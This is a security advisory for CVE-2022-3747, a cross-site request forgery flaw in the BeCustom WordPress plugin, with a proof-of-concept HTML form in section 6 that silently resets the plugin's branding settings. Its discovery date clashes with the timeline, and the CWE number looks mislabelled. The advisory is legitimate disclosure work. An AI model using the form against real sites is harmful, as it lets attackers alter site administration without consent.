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advisories/CVEs/CVE-2022-3747.txt
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| RCE Security Advisory | |
| https://www.rcesecurity.com | |
| 1. ADVISORY INFORMATION | |
| ======================= | |
| Product: BeCustom Wordpress Plugin | |
| Vendor URL: https://muffingroup.com/betheme/features/be-custom/ | |
| Type: Cross-Site Request Forgery [CWE-253] | |
| Date found: 2021-10-28 | |
| Date published: 2022-11-10 | |
| CVSSv3 Score: 5.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N) | |
| CVE: CVE-2022-3747 | |
| 2. CREDITS | |
| ========== | |
| This vulnerability was discovered and researched by Julien Ahrens from | |
| RCE Security. | |
| 3. VERSIONS AFFECTED | |
| ==================== | |
| BeTheme BeCustom 1.0.5.2 and below | |
| 4. INTRODUCTION | |
| =============== | |
| Built in-house add-on, perfect for agencies and web developers will let you rebrand | |
| Be & WordPresss Admin to your own product by replacing all the Be & Muffin logos with | |
| own. | |
| This tool is supplied exclusively to the customers of Betheme and allows for changes | |
| like: complete dashboard customization, replacement of logos, colors managment and much | |
| more. With just a few clicks, you will turn the Be & Muffin brand into yours, thanks to | |
| which you will increase the trust of your customers. | |
| Moreover, from now on you can also customize the WPLogin page. | |
| (from the vendor's homepage) | |
| 5. VULNERABILITY DETAILS | |
| ======================== | |
| The WordPress plugin lacks an anti-CSRF protection on all of its functionalities, which | |
| ultimately allows an attacker to (amongst others): | |
| - Set custom brandings | |
| - Enable/Disable BeCustom features | |
| - Modify the WP Login view | |
| - Modify the BeDashboard texts | |
| Since there is no anti-CSRF token protecting these functionalities, they are | |
| vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform | |
| a variety of attacks as mentioned above. | |
| To successfully exploit this vulnerability, a user with the right to access the | |
| plugin must be tricked into visiting an arbitrary website while having an authenticated | |
| session in the application. | |
| 6. PROOF OF CONCEPT | |
| =================== | |
| An exemplary exploit to reset the plugin's configuration: | |
| <html> | |
| <body> | |
| <form action="http://localhost/wp-admin/admin.php?page=be_custom_branding" method="POST"> | |
| <input type="hidden" name="betheme_label" value="" /> | |
| <input type="hidden" name="betheme_url_slug" value="" /> | |
| <input type="hidden" name="replaced_logo_url" value="" /> | |
| <input type="hidden" name="replaced_theme_image" value="" /> | |
| <input type="hidden" name="replaced_theme_desc" value="" /> | |
| <input type="hidden" name="replaced_theme_author" value="Muffin Group 1337" /> | |
| <input type="hidden" name="submit" value="Save changes" /> | |
| <input type="submit" value="Submit request" /> | |
| </form> | |
| </body> | |
| </html> | |
| 7. SOLUTION | |
| =========== | |
| Update to BeCustom 1.0.5.3 | |
| 8. REPORT TIMELINE | |
| ================== | |
| 2022-10-28: Discovery of the vulnerability | |
| 2022-10-28: CVE requested from Wordfence (CNA) | |
| 2022-10-28: Wordfence assigns CVE-2022-3747 | |
| 2022-11-01: Vendor notification | |
| 2022-11-07: No response. Sent another notification. | |
| 2022-11-08: Opened up a security support case on envato.com | |
| 2022-11-xx: Vendor publishes version 1.0.5.3 without notification which fixes this issue | |
| 2022-11-10: Public disclosure | |
| 9. REFERENCES | |
| ============= | |
| https://github.com/MrTuxracer/advisories |